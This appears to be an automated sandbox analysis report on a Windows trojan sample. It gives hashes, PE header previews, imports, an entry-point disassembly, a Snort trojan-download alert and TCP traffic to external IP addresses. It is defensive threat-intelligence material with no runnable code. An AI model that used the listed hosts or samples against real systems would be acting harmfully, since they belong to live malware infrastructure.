SSDEEP:	3072:sgb3jtziJrJXomLOqtlyk6Nd5BYVAyaUDqh5cp+VjVf9gvdOJx:sgrj5erVvLO8UkLA3UGcmjVfuvwJ
MD5:	C5634D306EEA15EE3D6364A09276C1DD
SHA1:	8680F7A7E6D3D2B5EBEA1A6B90DB41CAF90A5259
SHA-256:	9E6E4D914CD14D1F1F8EBC0C29EDE3FC6010C1C23474BA059197524D7FB9B13C
SHA-512:	3B65467A8A88F27E321A9051928F416F3D3F1C3746EE95D23FA76843E9CBBDAF2390EFD38CD04D679A1C9CB2CB3AA95773E55F346A3923792279B77634E493EE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L._."._."._.".A...B.".A.....".x.Y.X."._.#...".A...m.".A...^.".A...^.".Rich_.".........PE..L...}.&b.....................(....................@..................................#..........................................P........C..........................................................hC..@...............$............................text............................... ..`.data...$........"..................@....rsrc....C.......D..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\49F6.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	216576
Entropy (8bit):	6.9752315207752735
Encrypted:	false
SSDEEP:	3072:vKRdzwqgfjwMqLJNk65f5s2hpDziV+FlfcSzbkUzaDARzAvx:vKb/g7wTLfkCDzIkZP/uDARzAv
MD5:	173E29DB800C6C004EAF258921B9C73B
SHA1:	0AE773E8259D41C395DC7EEC76F8D690355F0332
SHA-256:	891E822F33391C72ED1CFDF67EC1B144D4ADFA49AA21A72AF2D7061D949F5376
SHA-512:	4F8B0D32F1C635742144719CD70EE457CF5514686B039C76127AC557E45D5EA12D724F58CC14A2EA7A05B5C90E52F9D5549219AFABB86A013914F837B6DCFE07
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L.^.".^.".^.".@...C.".@.....".y.Y.Y.".^.#...".@...l.".@..._.".@..._.".Rich^.".........PE..L...T..a.....................$....................@..................................F..........................................P........C..........................................................HC..@............... ............................text...J........................... ..`.data...D........ ..................@....rsrc....C.......D..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\509E.dll

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2329928
Entropy (8bit):	7.686630907407458
Encrypted:	false
SSDEEP:	49152:st/fCcb6EhAfLuxmyy8+VbQPSLMRN1qglKVyvjwE9d9una:st/fDbczsszHLMRN1qAkE9d4a
MD5:	7CA5A4B039AFCCEC929A2AC474DFEAD0
SHA1:	A956448D3A9D8F105D98C8C1C23C4618EFFF8B54
SHA-256:	D4FC93C904504D758A6566AEC2BA58B1DC894FC39F9EE9B1835757123071858A
SHA-512:	3CD96211DDF3A87F6A6EC7535DC26517894FD6B9169C1B0BE9896CD01382D28A694DFED382D601C6EC2C9B00452C4E05E057D7ACA163146388CD32C40A00A19A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...[OCC.................H...,......8T.......`....@...........................#.......#..........................................$..............................p...................................................................................CODE.....G.......H.................. ..`DATA.....=...`...>...L..............@...BSS.....1................................idata...$.......&..................@....reloc..p...........................@..P.rsrc...............................@..P................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5487.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	331776
Entropy (8bit):	7.460153775913808
Encrypted:	false
SSDEEP:	3072:bnBCn1wq+f7ZtaLlq5p+6ef5XdGljJLP6yeITvEYDUGvB72cAsXDCv5/KQqdK1g4:bnA9+TZwLO++6KlXDECQmK1oIQ0joQX
MD5:	ADF28F31EED0074753479AC51AF789C9
SHA1:	B5766484E37588F98D8B23DA50B78B387D57897F
SHA-256:	A45062AF00B12612F63997FB19E955C1DEE613DF382CEC98971F8EFE889556EE
SHA-512:	90B326348BFEFC2674A4544C0B4215DF528BC705B3A6AF161CFA2353E1E72CFF85EE7B5F374251D96F3549BB26BE551EA04DFE6EC5A1E80A03BB59A5F5F41689
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 41%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L.^.".^.".^.".@...C.".@.....".y.Y.Y.".^.#...".@...l.".@..._.".@..._.".Rich^.".........PE..L......a..........................................@............................................................................P........C..........................................................HC..@............... ............................text...J........................... ..`.data....u..........................@....rsrc....C.......D..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\561C.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2891393435168748
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPe6IVuvCySEwn7PrH944:QS/inmjVuaySEwn7b944
MD5:	037D23498B81732EEAAAD0E8015F3F85
SHA1:	E7719865D7717A4B36D85609F3EC25C10934587F
SHA-256:	83AA9D5727AD94D394C57A969A7C53C37F79513316FA5E0283A750C886F342D4
SHA-512:	BFFFB8C7759B65BABD232200305699551AC9BF9BF2C778D5DA124A677900869254C6AB4439BF2A99E08690C29C5A2B17EEEBA7382CF4EAAB12168462A49B3D7D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5999.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	746496
Entropy (8bit):	7.839095401968027
Encrypted:	false
SSDEEP:	12288:FrizmoAAVc+Hfjn6TecVz5nNihCAG6ld8CkG8O+Y+1Bx2ptC2coaJZRlL/TUljPb:FL64DNZY8CeBMrC2coaJFY7b
MD5:	4128ACBEDEE976974A7F0C08272C33BC
SHA1:	26E291A00F439A1C435E0B7C62C8357D87A879DD
SHA-256:	9A7527A421F977EFC383E32C88EC073669F96D2D7381A1D8E36EC80A5A06DA02
SHA-512:	1209C4D20A788B1B006B0D117CF0E194DB65C38865EA2F6A4441E19993A207C367A45827F94EE6C743DFD7B4044185934F8D4EB79BFFF9CB5C3F3446A4BCB16A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L.^.".^.".^.".@...C.".@.....".y.Y.Y.".^.#...".@...l.".@..._.".@..._.".Rich^.".........PE..L......a.....................B....................@.......................... !.................................................P..... ..C..........................................................HC..@............... ............................text...J........................... ..`.data............6..................@....rsrc....C.... ..D... ..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bcvbehu

Download File

Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	248887
Entropy (8bit):	7.999276935554331
Encrypted:	true
SSDEEP:	6144:uZ0fCIrp5m/Ax6OC+c7Q7c8Tyr3LMqQmSXqCjNs:0ZIDeAUOAQ7r+8i
MD5:	A8C3B8BC73ADEFD123494A45C7670092
SHA1:	1AE2106DEECC4741B4640591A1E0AB604ED00522
SHA-256:	3A918CE49D4BCF3A0ABDDC7D8BDD6FFC74D24054A394DBDAC1C946C041D5594F
SHA-512:	F4E8C2A05DBE3BDEA4EA288AE5E99463652584DA43662994A34720646DCDF2F9A0A46ABAC9824787D82467EFE5F0DDCB16B56832D2E2F49E87C93541871D5257
Malicious:	false
Reputation:	unknown
Preview:	,..{A:F?#..E.C.o<.......X.>S.."."t..RHr..a.Y.>;...Y.B.....s..G..zF.....`.".1.....U.!.W:..'s-..n7....=\|?#X._.-6K.=.v(.....5Zi....`W.(...k..(un..oy.'Q....Q.im-3/T....T.g....K.>.........$...5.g...l..?..]..>.CV.xd..'Ia..L.`.8.....bW..A......6_4.4....i...+%..d..O..'...R........n....N...CL.g.,P%.....(G.e..&.U.j....@\|{.-....=q8^..c....,.u.H...3.yh.C.6....{Z...5...m..t,"......{l!.<.8.W...;.{.V^.....Ht.0}.....G.......u.....Z."$Qo(.r.;S.v...7.U..2...7S.i.!....r.0N...#G...K}.k..;@...J......[!l.c0j9..<f?.W..r.@.bu.P.z/[..tA..../.4C..zu..iA=vi.1.=..../eUEyz.@.3...r.,.o........{).8.._...X....p..\|..[O..%.r.].....v..}.......9....q...f.,.C.0c:>......i.>-'.i.+.......>.+..!..s.T.H..+.....}...C.....z./0..-..a.ebB..0.FB....t.f......e.......?.A$.....u\|Jx..G..j.q..k..1.......y...r...Rv5.Z....d....>^...`N.>l..i.dT..?.n......K.n..._r.\?k...-~.G-U...].yR....{.....aU>.6..5\|....n.x}9..:..h.`....R......^*..r.C..4.N\O.3...1.zW....sy....D/.....m..-

C:\Users\user\AppData\Roaming\gecbfdt

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	216576
Entropy (8bit):	6.970758497557372
Encrypted:	false
SSDEEP:	3072:O9YbBgiJpF3khGLEDqW6Td5AaQl8JIt6Cr0gyw3qprxFfXIKx:O9MiSpF00LEOWNaZ7W9yVxxFfXIK
MD5:	ABC4A016ED52C530C02FCFA8D5AC2506
SHA1:	AA7483B82F01E0F7B076091CE34D3A115DE25DFF
SHA-256:	98A6EB1CC5C669884AC5C5071875A5964566247265D4215441D01F756930D5EF
SHA-512:	06290E2E24AB4075885321F09AFDC1C7008AFD224D5516B7E19EB5015685C8DDC41019C5BB8973635E1257B68539010D2402EE4B8726F4A509170A8FF380FC32
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L._."._."._.".A...B.".A.....".x.Y.X."._.#...".A...m.".A...^.".A...^.".Rich_.".........PE..L....i.a.....................$....................@.................................*m..........................................P........C..........................................................hC..@...............$............................text............................... ..`.data...d........ ..................@....rsrc....C.......D..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\uucbfdt

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	217600
Entropy (8bit):	6.980066678964233
Encrypted:	false
SSDEEP:	3072:m5gLCkiRVRfM9WLQn6ob67d5eK1la+n3u5jIgArRI6R8xlRKJnax:m54N6VREILQ62WY+n4IgAlI6GDRK0
MD5:	4BB5C0ED18F4B7AE33BA272EAE17ABF2
SHA1:	E0E02B31D3AD2E965D223EBE3451BD9C9E0385FA
SHA-256:	418D9B6E1FC560A80FD9F37E34BEE51E79A371CFCC24EEDE84928B506CD918B6
SHA-512:	971A040195367DCD6CDD41A682DB956895FA7DE1C25900279BAC6C43858D0697E13C674DB1033786CED08877EAD3E59E88EAFB77E578184AEE3DB1B01C66A3B3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L._."._."._.".A...B.".A.....".x.Y.X."._.#...".A...m.".A...^.".A...^.".Rich_.".........PE..L...<.ub.....................(....................@.............................................................................P........C..........................................................hC..@...............$............................text............................... ..`.data...d........$..................@....rsrc....C.......D..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\uucbfdt:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.980066678964233
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	217600
MD5:	4bb5c0ed18f4b7ae33ba272eae17abf2
SHA1:	e0e02b31d3ad2e965d223ebe3451bd9c9e0385fa
SHA256:	418d9b6e1fc560a80fd9f37e34bee51e79a371cfcc24eede84928b506cd918b6
SHA512:	971a040195367dcd6cdd41a682db956895fa7de1c25900279bac6c43858d0697e13c674db1033786ced08877ead3e59e88eafb77e578184aee3db1b01c66a3b3
SSDEEP:	3072:m5gLCkiRVRfM9WLQn6ob67d5eK1la+n3u5jIgArRI6R8xlRKJnax:m54N6VREILQ62WY+n4IgAlI6GDRK0
TLSH:	9024D0223695C032E67E12349815D7B56BBEB8780D3656DB3FE406AE8F303D29E25347
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L._."._."._.".A...B.".A.....".x.Y.X."._.#...".A...m.".A...^.".A...^.".Rich_.".........PE..L...<.ub.....................(.....

File Icon


Icon Hash:	aae8c8eaa2e4a0c1

Static PE Info

General

Entrypoint:	0x409516
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6275FE3C [Sat May 7 05:06:04 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	099d662a2293f03d302e7f9a64bba216

Entrypoint Preview

Instruction
call 00007EFE4CAABC62h
jmp 00007EFE4CAA3C4Eh
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
test eax, eax
je 00007EFE4CAA3DE4h
sub eax, 08h
cmp dword ptr [eax], 0000DDDDh
jne 00007EFE4CAA3DD9h
push eax
call 00007EFE4CAA32A2h
pop ecx
pop ebp
ret
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov esi, ecx
mov byte ptr [esi+0Ch], 00000000h
test eax, eax
jne 00007EFE4CAA3E35h
call 00007EFE4CAA8740h
mov dword ptr [esi+08h], eax
mov ecx, dword ptr [eax+6Ch]
mov dword ptr [esi], ecx
mov ecx, dword ptr [eax+68h]
mov dword ptr [esi+04h], ecx
mov ecx, dword ptr [esi]
cmp ecx, dword ptr [00431A68h]
je 00007EFE4CAA3DE4h
mov ecx, dword ptr [00431980h]
test dword ptr [eax+70h], ecx
jne 00007EFE4CAA3DD9h
call 00007EFE4CAA4FE1h
mov dword ptr [esi], eax
mov eax, dword ptr [esi+04h]
cmp eax, dword ptr [00431888h]
je 00007EFE4CAA3DE8h
mov eax, dword ptr [esi+08h]
mov ecx, dword ptr [00431980h]
test dword ptr [eax+70h], ecx
jne 00007EFE4CAA3DDAh
call 00007EFE4CAABE99h
mov dword ptr [esi+04h], eax
mov eax, dword ptr [esi+08h]
test byte ptr [eax+70h], 00000002h
jne 00007EFE4CAA3DE6h
or dword ptr [eax+70h], 02h
mov byte ptr [esi+0Ch], 00000001h
jmp 00007EFE4CAA3DDCh
mov ecx, dword ptr [eax]
mov dword ptr [esi], ecx
mov eax, dword ptr [eax+04h]
mov dword ptr [esi+04h], eax
mov eax, esi
pop esi
pop ebp
retn 0004h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword ptr [00430F8Ch]
xor eax, ebp
mov dword ptr [ebp-04h], eax
push ebx
push esi
xor ebx, ebx

Rich Headers

Programming Language:

[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1e804	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x18c000	0x4310	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1280	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4368	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x224	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1e488	0x1e600	False	0.5128038194444444	data	6.399037878349305	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x20000	0x16b564	0x12400	False	0.8943305864726028	data	7.631821857271087	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x18c000	0x4310	0x4400	False	0.6470013786764706	data	6.02366521049681	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RIWEZOZAC	0x18f700	0x55f	ASCII text, with very long lines (1375), with no line terminators	Romanian	Romania
RT_ICON	0x18c330	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania
RT_ICON	0x18cbd8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania
RT_ICON	0x18d2a0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania
RT_ICON	0x18d808	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania
RT_ICON	0x18e8b0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania
RT_ICON	0x18f238	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania
RT_STRING	0x18fe08	0xb6	data	Romanian	Romania
RT_STRING	0x18fec0	0x2ae	data	Romanian	Romania
RT_STRING	0x190170	0x19c	data	Romanian	Romania
RT_ACCELERATOR	0x18fc60	0x58	data	Romanian	Romania
RT_GROUP_ICON	0x18f6a0	0x5a	data	Romanian	Romania
RT_VERSION	0x18fcb8	0x14c	Intel 80386 COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Imports

DLL	Import
KERNEL32.dll	LocalSize, InterlockedExchange, GetTickCount, CopyFileExA, GetConsoleAliasExesLengthW, EnumSystemCodePagesA, TlsGetValue, MoveFileWithProgressW, VerifyVersionInfoW, LocalUnlock, DebugBreak, GlobalGetAtomNameW, MapViewOfFileEx, GetWindowsDirectoryA, GetModuleHandleA, lstrlenW, GlobalDeleteAtom, SizeofResource, WriteConsoleInputA, CopyFileW, CancelWaitableTimer, GetVersionExA, FindResourceW, OpenEventW, SearchPathA, GetThreadPriority, CallNamedPipeA, GetProcAddress, GlobalAlloc, SetFileTime, GetConsoleAliasesLengthA, OpenFileMappingA, GetComputerNameA, GetMailslotInfo, GetTapeParameters, OpenJobObjectW, GetPrivateProfileIntA, ReadConsoleInputW, _lread, LockFile, GetPrivateProfileStructW, GetDiskFreeSpaceExW, DefineDosDeviceW, GetACP, SetProcessAffinityMask, GlobalFindAtomW, InterlockedDecrement, VerifyVersionInfoA, CreateActCtxW, GetModuleHandleW, FindNextVolumeA, MoveFileWithProgressA, InterlockedIncrement, GetComputerNameW, CancelDeviceWakeupRequest, EnumCalendarInfoA, InterlockedCompareExchange, GetPrivateProfileStructA, EnumCalendarInfoW, EnterCriticalSection, GetNamedPipeHandleStateW, AreFileApisANSI, LoadLibraryA, SetLastError, WriteConsoleW, GetVolumeInformationA, GetSystemWindowsDirectoryA, LoadLibraryW, Sleep, InitializeCriticalSection, DeleteCriticalSection, LeaveCriticalSection, RtlUnwind, RaiseException, GetLastError, HeapFree, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapReAlloc, HeapAlloc, MoveFileA, DeleteFileA, GetStartupInfoW, LCMapStringA, WideCharToMultiByte, MultiByteToWideChar, LCMapStringW, GetCPInfo, TlsAlloc, TlsSetValue, TlsFree, GetCurrentThreadId, HeapCreate, VirtualFree, VirtualAlloc, HeapSize, ExitProcess, WriteFile, GetStdHandle, GetModuleFileNameA, SetHandleCount, GetFileType, GetStartupInfoA, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetOEMCP, IsValidCodePage, GetLocaleInfoA, GetStringTypeA, GetStringTypeW, GetUserDefaultLCID, EnumSystemLocalesA, IsValidLocale, InitializeCriticalSectionAndSpinCount, SetFilePointer, GetConsoleCP, GetConsoleMode, GetLocaleInfoW, FlushFileBuffers, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, CloseHandle, CreateFileA
GDI32.dll	GetCharWidthA
ADVAPI32.dll	SetThreadToken

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.6185.174.137.7049705802018581 11/03/22-12:46:51.239510	TCP	2018581	ET TROJAN Single char EXE direct download likely trojan (multiple families)	49705	80	192.168.2.6	185.174.137.70

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 3, 2022 12:46:48.372200012 CET	49703	80	192.168.2.6	91.195.240.101
Nov 3, 2022 12:46:48.391128063 CET	80	49703	91.195.240.101	192.168.2.6
Nov 3, 2022 12:46:48.391241074 CET	49703	80	192.168.2.6	91.195.240.101
Nov 3, 2022 12:46:48.391418934 CET	49703	80	192.168.2.6	91.195.240.101
Nov 3, 2022 12:46:48.391434908 CET	49703	80	192.168.2.6	91.195.240.101
Nov 3, 2022 12:46:48.411756992 CET	80	49703	91.195.240.101	192.168.2.6
Nov 3, 2022 12:46:48.411819935 CET	80	49703	91.195.240.101	192.168.2.6
Nov 3, 2022 12:46:48.442433119 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.454207897 CET	49703	80	192.168.2.6	91.195.240.101
Nov 3, 2022 12:46:48.499412060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.499644041 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.499844074 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.499922991 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.556449890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.556478977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.567240953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.567296028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.567320108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.567348957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.567377090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.567377090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.567405939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.567410946 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.567437887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.567452908 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.567467928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.567497969 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.567512035 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.567528963 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.567593098 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.624706030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624732971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624752045 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624768972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624788046 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624806881 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624825001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624833107 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.624841928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624860048 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624866009 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.624877930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624890089 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.624895096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624912977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624913931 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.624929905 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624948025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624963045 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.624965906 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624985933 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.624989986 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.625004053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.625020981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.625053883 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.625072956 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.625085115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.625102997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.625137091 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.681813955 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.681883097 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.681926012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.681967974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.681982994 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.682013988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682029963 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.682058096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682096958 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:48.682099104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682140112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:48.682177067 CET	49704	80	192.168.2.6	193.106.191.15
